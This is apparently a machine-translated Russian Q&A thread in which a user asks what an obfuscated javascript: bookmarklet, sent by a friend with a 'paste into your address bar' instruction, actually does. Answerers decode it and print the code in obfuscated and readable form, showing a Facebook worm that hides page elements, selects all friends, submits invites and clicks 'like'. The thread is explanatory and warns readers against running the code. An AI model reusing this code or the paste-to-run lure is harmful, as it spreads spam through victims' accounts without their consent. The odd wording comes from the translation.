2010-05-24 18 views
7

Хорошо, что кто-то, кто оказался моим хорошим другом, отправляет мне несколько нечетных писем, в последнее время одна из которых была ссылкой на страницу, в которой вам предлагается скопировать и вставить это в свою адресную строку в вашем браузер затем выполнить его ...Что делает этот код

javascript:(function(){a='app125879300771588_jop';b='app125879300771588_jode';ifc='app125879300771588_ifc';ifo='app125879300771588_ifo';mw='app125879300771588_mwrapper';var _0xc100=["\x76\x69\x73\x69\x62\x69\x6C\x69\x74\x79","\x73\x74\x79\x6C\x65","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x68\x69\x64\x64\x65\x6E","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x76\x61\x6C\x75\x65","\x63\x6C\x69\x63\x6B","\x73\x75\x67\x67\x65\x73\x74","\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C","\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D","\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70","\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67","\x6C\x69\x6B\x65\x6D\x65"];d=document;d[_0xc100[2]](mw)[_0xc100[1]][_0xc100[0]]=_0xc100[3];d[_0xc100[2]](a)[_0xc100[4]]=d[_0xc100[2]](b)[_0xc100[5]];d[_0xc100[2]](_0xc100[7])[_0xc100[6]]();setTimeout(function(){fs[_0xc100[8]]();} ,5000);setTimeout(function(){SocialGraphManager[_0xc100[11]](_0xc100[9],_0xc100[10]);} ,5000);setTimeout(function(){d[_0xc100[2]](_0xc100[12])[_0xc100[6]]();d[_0xc100[2]](ifo)[_0xc100[4]]=d[_0xc100[2]](ifc)[_0xc100[5]];} ,5000);})(); 

Не будучи полностью с ним, когда дело доходит до программирования низкого уровня, я любопытно, что электронная почта просит здесь ...

ПОЖАЛУЙСТА, НЕ БЕЖАТЬ эТО КОД, ЕСЛИ ВЫ СЧАСТЛИВЫ, ЧТО ЭТО НЕ БУДЕТ БЫТЬ НИЧЕГО.

Но ... Может ли кто-нибудь сказать мне, что он делает?

+0

Только вариант этого червя: http://davezor.posterous.com/reverse-engineering-the-newest-facebook-invit –

ответ

11

Я не полностью декодировал код, но вот несколько советов.

Переменная _0xc100 определяет массив строк. Символы кодируются как шестнадцатеричные, поэтому их труднее читать. Так, например, \ x76 равно "v".

Вы можете безопасно alert(_0xc100);, чтобы увидеть его в виде простого текста.

var _0xc100 = ["\x76\x69\x73\x69\x62\x69\x6C\x69\x74\x79", 
     "\x73\x74\x79\x6C\x65", 
     "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64", 
     "\x68\x69\x64\x64\x65\x6E", 
     "\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C", 
     "\x76\x61\x6C\x75\x65", 
     "\x63\x6C\x69\x63\x6B", 
     "\x73\x75\x67\x67\x65\x73\x74", 
     "\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C", 
     "\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D", 
     "\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70", 
     "\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67", 
     "\x6C\x69\x6B\x65\x6D\x65"]; 

переводит на массив, содержащий эти ключевые слова

visibility, style, getElementById, hidden, innerHTML, value, click, suggest, select_all, 
sgm_invite_form, /ajax/social_graph/invite_dialog.php, submitDialog, likeme 

Теперь, следующие утверждения (НЕ ВЫПОЛНИТЬ ТЕХ) использовать эти ключевые слова, чтобы фактически выполнять функции.

Например:

d[_0xc100[2]](mw)[_0xc100[1]][_0xc100[0]] = _0xc100[3]; 

эквивалентно (d определяется как document и mw определен в верхней части)

document.getElementById("app125879300771588_mwrapper").style.visibility = "hidden"; 

, который скрывает элемент называется app125879300771588_mwrapper

следующее инструкции даны

document.getElementById("app125879300771588_jop").innerHTML = document.getElementById("app125879300771588_jode").value; 

, который копирует содержание app125879300771588_jop в app125879300771588_jode

и

document.getElementById("suggest").click(); 

, который я предполагаю, щелчки некоторые кнопки "предложить".

Наконец, он устанавливает 3 функции SetTimeout, чтобы выполнить 3 команды после 5 секунд (5000)

Они переводят на

setTimeout(function() { 
    select_all(); 
    }, 5000); 

который я предполагаю, выбирающий все ваши друзья ...

setTimeout(function() 
    { 
    SocialGraphManager.submitDialog("sgm_invite_form", "/ajax/social_graph/invite_dialog.php"); 
    }, 5000); 

... отправить их приглашает

setTimeout(function() 
    { 
    document.getElementById("likeme").click(); 
    document.getElementById("app125879300771588_ifo").innerHTML = 
     document.getElementById("app125879300771588_ifc").value; 
    }, 5000); 

... и нажимает наподобие кнопки

Обратите внимание, что я не использую Facebook, и я не знаю, как это работает, но я думаю, это довольно ясно, что этот код вредоносен.

12
a = 'app125879300771588_jop'; 
b = 'app125879300771588_jode'; 
ifc = 'app125879300771588_ifc'; 
ifo = 'app125879300771588_ifo'; 
mw = 'app125879300771588_mwrapper'; 
var _0xc100 = ["visibility", "style", "getElementById", "hidden", "innerHTML", "value", "click", "suggest", "select_all", "sgm_invite_form", "/ajax/social_graph/invite_dialog.php", "submitDialog", "likeme"]; 
d = document; 
d[_0xc100[2]](mw)[_0xc100[1]][_0xc100[0]] = _0xc100[3]; 
d[_0xc100[2]](a)[_0xc100[4]] = d[_0xc100[2]](b)[_0xc100[5]]; 
d[_0xc100[2]](_0xc100[7])[_0xc100[6]](); 
setTimeout(function() { 
    fs[_0xc100[8]](); 
}, 5000); 
setTimeout(function() { 
    SocialGraphManager[_0xc100[11]](_0xc100[9], _0xc100[10]); 
}, 5000); 
setTimeout(function() { 
    d[_0xc100[2]](_0xc100[12])[_0xc100[6]](); 
    d[_0xc100[2]](ifo)[_0xc100[4]] = d[_0xc100[2]](ifc)[_0xc100[5]]; 
}, 5000); 

Это, скорее всего, адаптация одного из многих червей Facebook, который отправляется всем вашим друзьям.

Looke here для подобного вопроса.

Другие версии этого используется p.a.c.k.e.r запутать, и они могут быть легко deobfuscated, запустив код p.a.c.k.e.r через http://jsbeautifier.org/

4

Это obfuscatedbookmarklet. Вы можете разоблачить его (осторожно), чтобы увидеть фактический Javascript, который он будет запускать. Если вам не нужна мощная потребность, возможно, не стоит беспокоиться. Я бы убрал его и проверил с моим другом, чтобы узнать, действительно ли это от него/нее, и если да, то почему.

+0

У меня был друг, посмотрев это (и запустив его на машине, мы не забота о) Оказывается, это просто ссылка на это: http://www.hiwiller.com/2010/04/29/if-mario-was-designed-in-2010/ – War

+0

Я знаком с обезболиванием ... какие инструменты я могу использовать для такого рода вещей ... сделаю для некоторых интересных игр/задач. – War

+1

* «У меня был друг ... запустите его на машине, на которой нас не волновало ... Оказывается, это просто ссылка на ...» * Действительно? Потому что ссылка на «SocialGraphManager» выглядит довольно подозрительно для меня. Смотрите: http://davezor.posterous.com/reverse-engineering-the-newest-facebook-invit –